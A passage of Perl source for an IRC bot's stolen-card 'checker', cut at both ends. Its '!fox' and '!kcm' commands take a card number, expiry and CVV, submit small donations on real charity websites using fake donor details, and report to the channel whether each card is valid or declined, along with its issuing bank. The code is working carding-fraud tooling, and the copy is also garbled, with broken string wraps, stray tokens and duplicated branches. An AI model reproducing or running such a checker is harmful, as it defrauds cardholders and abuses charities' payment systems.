4 Declined!."); } } if($msg{'what'} =~ { my my my /\!fox\s(\d{15,16})\s(\d{4})\s(\d{3})/)
($numerocarta,$expmes,$verifica,) = ($1,$2,$3,); $var1 = substr($expmes,0,2); $var2 = substr($expmes,2,4); my $cctype = 0; my $donationAmountOther = 0; $ENV{HTTPS_CA_FILE} = "/usr/share/ca-certificates/cacert.org/cacert.org.crt"; #$ENV{HTTPS_CA_FILE} = "/usr/share/ca-certificates/cacert.org/cacert.org.crt";
my $ua = LWP::UserAgent->new; my $req = HTTP::Request->new(GET => 'https://api.betfair.com'); my $res = $ua->request($req); #print $res->headers_as_string; #print $res->content; sub changeOptionToOther(); { $donationAmountOther = 10; } #$ENV{HTTPS_CA_FILE} = "/usr/share/ca-certificates/cacert.org/cacert.org.crt"; #print "inizio mechanize sacha\n"; if (substr($numerocarta,0,1)==4) { $cctype = "V"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[15Visa12]"); } if (substr($numerocarta,0,1)==5) { $cctype = "M"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[4Master 7Card12] "); } if (substr($numerocarta,0,1)==6) { $cctype = "D"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[15Disc7 o15ver12]"); } if (substr($numerocarta,0,1)==3) { $cctype = "A"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[14A2m14 e2x12]"); } &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12Number: 0 $numerocarta"); &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12,1Expiration:0 $var1/20$var2 "); &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12,1Cvv:0 $verifica"); &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12,1Amount:0 1USD"); my $f = CGI::FormBuilder::Field->new($form, name => 'donate-online'); my $agent = WWW::Mechanize->new( autocheck => 1 ); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('https://www.michaeljfox.org/get-involved/donation.php?fr_id=1600'); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; $agent->form_number(1); { local $^W; $agent->current_form->value('otherDonationAmount', '10'); }; { local $^W; $agent->current_form->value('donationAmountOther', '10'); }; { local $^W; $agent->current_form->value('BeneficiaryID', '372661'); }; { local $^W; $agent->current_form->value('donor_name_first', 'Samuel'); }; { local $^W; $agent->current_form->value('donor_name_last', 'AY'); }; { local $^W; $agent->current_form->value('donor_address_street1', '2010 Magnolia Drive'); }; { local $^W; $agent->current_form->value('donor_address_city', 'Cleveland'); }; { local $^W; $agent->current_form->value('donor_address_country', 'United States '); }; { local $^W; $agent->current_form->value('donoraddressstate', 'Ohio'); }; { local $^W; $agent->current_form->value('donor_address_zip', '44106'); }; { local $^W; $agent->current_form->value('donor_phone', '7298989441'); }; { local $^W; $agent->current_form->value('donor_email', '[email protected]'); }; { local $^W; $agent->current_form->value('sameAddress', 'Y'); }; { local $^W; $agent->current_form->value('card_number', ''.$numerocarta.''); }; { local $^W; $agent->current_form->value('card_cvv', ''.$verifica.''); }; { local $^W; $agent->current_form->value('month', ''.$var1.''); }; { local $^W; $agent->current_form->value('year', '20'.$var2.''); }; { local $^W; $agent->current_form->value('CardType', ''.$cctype.''); };
$agent->submit(); validate => '/regex/'; #print $agent->content; my $allo=$agent->content; #print "<FORM action=\"message.pl\" method=\"post\" name=\"form1\" onsubmit=\"re turn(CheckForm_onclick())\">\n"; for my $allo ($agent->content) { # $allo holds an object stringified to a field name if ($allo =~/Thank you for your generosity./){ #$allo->sticky(0); # clear CGI value &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9NON vbv valid!"); } else { &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expan io08 $verifica 4Declined!"); } } #print $js_array,"\n"; if ($allo =~/Thank you for your donation./){ initForm(document.getElementById ("frmDonate")); my $database = "banklist.txt"; open FILE,"$database" or die "Er rore nell'apertura: $!"; my @results=<FILE>; close FILE; my $bankinfo = $1; &respond_to_privmsg(\%msg,"12,1[9ResuLT.....1 2]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!(AVS mismatch)"); &respond_to_privmsg(\%msg,""); &respond_to_privmsg(\%msg,""); &respond_to_privmsg(\%msg,""); my $nuova = substr($numerocarta,0,6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ &respond_to_privmsg(\%msg,"12,1[9Bank12] 0 $nuova 15 $1"); #print "card $variable!"; } } }elsif ($allo =~/Your transaction was denied./){ my $database = "banklist.txt"; open FILE,"$database" or die "Er rore nell'apertura: $!"; my @results=<FILE>; close FILE; my $bankinfo = $1; &respond_to_privmsg(\%msg,"12,1[9ResuLT.....1 2]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!"); &respond_to_privmsg(\%msg,""); &respond_to_privmsg(\%msg,""); my $nuova = substr($numerocarta,0,6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ my $bankinfo = $1; #&respond_to_privmsg(\%msg,"12,1[9Bank......1 2] 0 $nuova 15 $1"); } } }elsif ($allo =~/We apologize for technical difficulties. Your transmission did not go through. Try again in a few minutes./){
&respond_to_privmsg(\%msg,"12,1[9Merchant down.....12]0 Try again in a few minutes."); }elsif ($allo =~/Thank for your generous donation to the Truro Historical Societ y./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/Items in bold are required fields./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Invalid Credit Card number."); }elsif ($allo =~ /Click Here For a Printer Friendly Receipt.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~ /Thank You .../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~ /Click Here For a Printer Friendly Receipt/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/DECLINED CVV2/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!(DECLINED CVV2)."); }elsif ($allo =~/Your contribution supports the presentation of exciting exhibit ions, education programs, and cultural experiences. Remember, your gifts are tax -deductible. You'll receive a receipt in the mail that you can use for tax purpo ses. See you at the Highland House Museum and the Cobb Archive!/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/Thank you, /){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/Error:Credit Card Declined/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined."); }elsif ($allo =~/SGS-002000:/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined."); }elsif ($allo =~/D:DeclinedXXSX:/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined."); }elsif ($allo =~/There has been a problem processing your donation. Too many att empts. Error Code 114/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Too many attempts!"); }elsif ($allo =~/Thank for your generous donation to the Truro Historical Societ y./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/This transaction has been declined./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(invalid)"); }elsif ($allo =~/The credit card has expired./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Expired)"); }elsif ($allo =~/The credit card expiration date entered is not valid./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Invalid)"); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Recheck)"); }elsif ($allo =~/The credit card number is invalid./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific
a 4Declined!(invalid)"); }elsif ($allo =~/Thank you! Your order will be processed pending a standard tran saction review./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Thank you! Your order will be processed pending a standard transaction review." ); }elsif ($allo =~/For supporting YOUR Ann Arbor Symphony Orchestra./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/'Your credit card...'/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/This transaction has been declined by.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!"); }elsif ($allo =~/' Please be sure that your billing information is correct and...'/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!"); }elsif ($allo =~/try.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!"); }elsif ($allo =~/Please be sure that your billing information is correct and try again./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!"); }elsif ($allo =~/THANK YOU/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/Insufficient funds./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4doesn't has funds for ur payment. do not honour!!4"); }elsif ($allo =~/ THANK YOU, hank!!!/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/The transaction has been completed successfully.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif($internal =~/This transaction has been declined./ || $internal =~/Lost or stolen card./){ sendmsg($irc_socket, "PRIVMSG $channel 4,1[0,1Results......4,1]7,1 $pNick8,1 $ca rdnumber $expmonth.20$expyear $cvv 4,1is Declined"); }elsif ($allo =~/Rejected: NO ACCOUNT./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Rejected: NO ACCOUNT."); }elsif ($allo =~/AUTHORIZATION./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Call for authorize transaction."); }elsif ($allo =~/Invalid expiration Date./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(invalid,Please check format (MMYY).)"); }elsif ($allo =~/The credit card has expired./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Expired)"); }elsif ($allo =~/HOLD CARD * CALL./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined! HOLD CARD * CALL"); }elsif ($allo =~/PICK UP CARD./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined! (PICK UP CARD)");
}elsif ($allo =~/CALL./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined! (CALL BANK)"); }elsif ($allo =~/Rejected: DECLINE./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined! (Rejected: DECLINE)"); }elsif ($allo =~/CALL FOR./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined! (Call for authorize transaction.)"); }elsif ($allo =~/The credit card expiration date entered is not valid./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Invalid)"); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Recheck)"); }elsif ($allo =~/This transaction has been declined./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!"); }elsif ($allo =~/The credit card number is invalid./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(invalid)"); }elsif ($allo =~/Your Transaction has been declined. Please try again by clickin g the following button.Response Message: PICK UP CARD * CALL BANK =./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Response Message: PICK UP CARD * CALL BANK="); }elsif ($allo =~/Thank you! Your order will be processed pending a standard tran saction review./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Thank you! Your order will be processed pending a standard transaction review." ); }elsif ($allo =~/Rejected: NO CHECK ACCOUNT./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Rejected: NO CHECK ACCOUNT."); }elsif ($allo =~/Invalid expiration Date. Please check format (MMYY)./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Invalid expiration Date. Please check format (MMYY)."); }elsif ($allo =~/ Rejected: CARD NO. ERROR./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Rejected: CARD NO. ERROR."); }elsif ($allo =~/ Rejected: SERV NOT ALLOWED./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Rejected: SERV NOT ALLOWED."); }elsif ($allo =~/Invalid Credit Card number./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Invalid Credit Card number."); }elsif ($allo =~/We apologize for technical difficulties. Your transmission did not go through. Try again in a few minutes./){ &respond_to_privmsg(\%msg,"12,1[9Merchant down.....12]0 Try again in a few minutes."); }elsif ($allo =~/Please be sure that your billing information is correct.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined!."); }elsif ($allo =~/try again/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined!."); } } if($msg{'what'} =~ /\!kcm\s(\d{15,16})\s(\d{4})\s(\d{3})/) {
my ($numerocarta,$expmes,$verifica,) = ($1,$2,$3,); my $var1 = substr($expmes,0,2); my $var2 = substr($expmes,2,4); my $cctype = 0; $ENV{HTTPS_CA_FILE} = "/usr/share/ca-certificates/cacert.org/cacert.org.crt"; #$ENV{HTTPS_CA_FILE} = "/usr/share/ca-certificates/cacert.org/cacert.org.crt"; my $ua = LWP::UserAgent->new; my $req = HTTP::Request->new(GET => 'https://api.betfair.com'); my $res = $ua->request($req); #print $res->headers_as_string; #print $res->content; #$ENV{HTTPS_CA_FILE} = "/usr/share/ca-certificates/cacert.org/cacert.org.crt"; #print "inizio mechanize sacha\n"; if (substr($numerocarta,0,1)==4) { $cctype = "V"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[15Visa12]"); } if (substr($numerocarta,0,1)==5) { $cctype = "M"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[4Master 7Card12] "); } if (substr($numerocarta,0,1)==6) { $cctype = "D"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[15Disc7 o15ver12]"); } if (substr($numerocarta,0,1)==3) { $cctype = "A"; &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card 9,1is 12,1[14A2m14 e2x12]"); } &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12Number: 0 $numerocarta"); &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12,1Expiration:0 $var1/20$var2 "); &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12,1Cvv:0 $verifica"); &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12,1Amount:0 1USD"); my $agent = WWW::Mechanize->new( autocheck => 1 ); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('https://www.kcme.org/donate.php'); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; $agent->form_number(1); { local $^W; $agent->current_form->value('u_firstname', 'Samuel'); }; { local $^W; $agent->current_form->value('u_lastname', 'AY'); }; { local $^W; $agent->current_form->value('u_address', '2010 Magnolia Drive'); }; { local $^W; $agent->current_form->value('u_city', 'Cleveland'); }; { local $^W; $agent->current_form->value('u_state', 'OH'); }; { local $^W; $agent->current_form->value('u_zip', '44106'); }; { local $^W; $agent->current_form->value('u_phone', '8327258164'); }; { local $^W; $agent->current_form->value('u_email', '[email protected]'); }; { local $^W; $agent->current_form->value('u_oneamount', '10'); }; { local $^W; $agent->current_form->value('u_cc', ''.$numerocarta.''); }; { local $^W; $agent->current_form->value('u_ccv', ''.$verifica.''); }; { local $^W; $agent->current_form->value('u_ccmonth', ''.$var1.''); }; { local $^W; $agent->current_form->value('u_ccyear', '20'.$var2.''); }; { local $^W; $agent->current_form->value('CardType', ''.$cctype.''); }; $agent->submit(); validate => '/regex/'; #print $agent->content;
my $allo=$agent->content; #print "<FORM action=\"message.pl\" method=\"post\" name=\"form1\" onsubmit=\"re turn(CheckForm_onclick())\">\n"; #for my $allo ($agent->content) { # $allo holds an object stringified to a field name #if ($allo =~/Processor Message: The transaction has been declined becaus e of an AVS mismatch. The address provided does not match billing address of car dholder./){ #$allo->sticky(0); # clear CGI value #&respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid! => AVS mismatch"); #} else { # &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expa nio08 $verifica 4Declined!"); #} # } #print $js_array,"\n"; if ($allo =~ /The transaction has been declined because of an AVS mismatch./){ # initForm(document.getElementById ("frmDonate")); my $database = "banklist.txt"; open FILE,"$database" or die "Er rore nell'apertura: $!"; my @results=<FILE>; close FILE; my $bankinfo = $1; &respond_to_privmsg(\%msg,"12,1[9ResuLT.....1 2]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!(AVS mismatch)"); &respond_to_privmsg(\%msg,""); &respond_to_privmsg(\%msg,""); &respond_to_privmsg(\%msg,""); my $nuova = substr($numerocarta,0,6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ &respond_to_privmsg(\%msg,"12,1[9Bank12] 0 $nuova 15 $1"); #print "card $variable!"; } } }elsif ($allo =~/Your transaction was denied./){ my $database = "banklist.txt"; open FILE,"$database" or die "Er rore nell'apertura: $!"; my @results=<FILE>; close FILE; my $bankinfo = $1; &respond_to_privmsg(\%msg,"12,1[9ResuLT.....1 2]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!"); &respond_to_privmsg(\%msg,""); &respond_to_privmsg(\%msg,""); my $nuova = substr($numerocarta,0,6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ my $bankinfo = $1; #&respond_to_privmsg(\%msg,"12,1[9Bank......1 2] 0 $nuova 15 $1"); } } }elsif ($allo =~/The credit card number is invalid./){ &respond_to_privmsg(\%msg,"4,1[0 ResuLT 4] 14$numerocarta14,1 4DECLINED!(Invalid)"); }elsif ($allo =~/Credit card expiration date is invalid./){
&respond_to_privmsg(\%msg,"8Expiration Date: 14 14$expmes$expanio "); &respond_to_privmsg(\%msg,"15 is invalid."); }elsif ($allo =~/This transaction has been declined./){ &respond_to_privmsg(\%msg,"4,1[0CREDIT CARD4]7 $numerocarta15 $expmes$expanio14 $verifi ca 0,1THIS TRANSACTION HAS BEEN 4DECLINED!"); }elsif ($allo =~/The credit card has expired./){ &respond_to_privmsg(\%msg,"0,1[4,1CREDIT CARD0,1]8 $numerocarta $expmes$expanio $veri fica"); &respond_to_privmsg(\%msg,"0,1[4,1ERROR0,1]8 THE CREDIT CARD HAS4 EXPIRED!"); }elsif ($allo =~/The credit card expiration date entered is not valid./){ &respond_to_privmsg(\%msg,"7,1[0Expiration Date: 14 14$expmes$expanio 14)4 Not is Valid ."); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg,"4,1[15THE CREDIT CARD7 $numerocarta4]"); &respond_to_privmsg(\%msg,"4,1[15THE CREDIT CARD 4DECLINED 7RECHECK4]"); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg,"7,1[0Credit Card0: 7 $numerocarta 15 $expmes$expanio 14 $ver ifica 0,1This transaction has been 4Declined!!!"); }elsif ($allo =~/The credit card number entered is not valid./){ &respond_to_privmsg(\%msg,":85Credit Card: 14 9$numerocarta 14"); &respond_to_privmsg(\%msg,"0,1[4,1ERROR0,1]8 CREDIT CARD IS4 INVALID!"); }elsif ($allo =~/he following error message was returned: A duplicate transactio n has been submitted./){ &respond_to_privmsg(\%msg,"7,1[0Credit Card0: 7 $numerocarta 15 $expmes$expanio 14 $ver ifica 0,1This transaction has been 4Declined!!!"); }elsif ($allo =~/This transaction has been declined./){ &respond_to_privmsg(\%msg,"7,1[0Credit Card0: 7 $numerocarta 15 $expmes$expanio 14 $ver ifica 0,1This transaction has been 4Declined!!!"); }elsif ($allo =~/Error: Major Request Error/){ &respond_to_privmsg(\%msg,"8Credit Card: 14 9$numerocarta 14"); &respond_to_privmsg(\%msg,"0,1[4,1ERROR0,1]8 CREDIT CARD IS4 INVALID!"); }elsif ($allo =~/We apologize for technical difficulties. Your transmission did not go through. Try again in a few minutes./){ &respond_to_privmsg(\%msg,"12,1[9Merchant down.....12]0 Try again in a few minutes."); }elsif ($allo =~/Thank for your generous donation to the Truro Historical Societ y./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/Items in bold are required fields./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Invalid Credit Card number."); }elsif ($allo =~ /Click Here For a Printer Friendly Receipt.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~ /AVS mismatch./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid! (AVS mismatch."); }elsif ($allo =~ /Click Here For a Printer Friendly Receipt/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/DECLINED CVV2/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!(DECLINED CVV2)."); }elsif ($allo =~/The transaction has been declined because of an AVS.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid! (AVS mismatch)."); }elsif ($allo =~/Thank you, /){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/Error:Credit Card Declined/){
&respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined."); }elsif ($allo =~/SGS-002000:/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined."); }elsif ($allo =~/D:DeclinedXXSX:/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4 Declined."); }elsif ($allo =~/There has been a problem processing your donation. Too many att empts. Error Code 114/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Too many attempts!"); }elsif ($allo =~/Thank for your generous donation to the Truro Historical Societ y./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/This transaction has been declined./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(invalid)"); }elsif ($allo =~/The credit card has expired./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Expired)"); }elsif ($allo =~/The credit card expiration date entered is not valid./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Invalid)"); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(Recheck)"); }elsif ($allo =~/The credit card number is invalid./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!(invalid)"); }elsif ($allo =~/Thank you! Your order will be processed pending a standard tran saction review./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Thank you! Your order will be processed pending a standard transaction review." ); }elsif ($allo =~/For supporting YOUR Ann Arbor Symphony Orchestra./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/'Your credit card...'/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!"); }elsif ($allo =~/The transaction has been declined because of an AVS mismatch. T he address provided does not match billing address of cardholder./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!"); }elsif ($allo =~/' Please be sure that your billing information is correct and...'/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!"); }elsif ($allo =~/try.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 4Declined!"); }elsif ($allo =~/The address provided does not match billing address of cardhold er./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!(AVS mismatch)."); }elsif ($allo =~/THANK YOU/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verific a 9valid!");
}elsif ($allo =~/Insufficient funds./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4doesn't has funds for ur payment. do not honour!!4"); }elsif ($allo =~/ THANK YOU, hank!!!/){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 9valid!"); }elsif ($allo =~/The transaction has been completed successfully.../){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 9valid!"); }elsif($internal =~/This transaction has been declined./ || $internal =~/Lost or stolen card./){ sendmsg($irc_socket, "PRIVMSG $channel 4,1[0,1Results......4,1]7,1 $pNick8,1 $ca rdnumber $expmonth.20$expyear $cvv 4,1is Declined"); }elsif ($allo =~/Rejected: NO ACCOUNT./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Rejected: NO ACCOUNT."); }elsif ($allo =~/AUTHORIZATION./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Call for authorize transaction."); }elsif ($allo =~/Invalid expiration Date./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Declined!(invalid,Please check format (MMYY).)"); }elsif ($allo =~/The credit card has expired./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Declined!(Expired)"); }elsif ($allo =~/HOLD CARD * CALL./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 a 4Declined! HOLD CARD * CALL"); }elsif ($allo =~/PICK UP CARD./){ &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 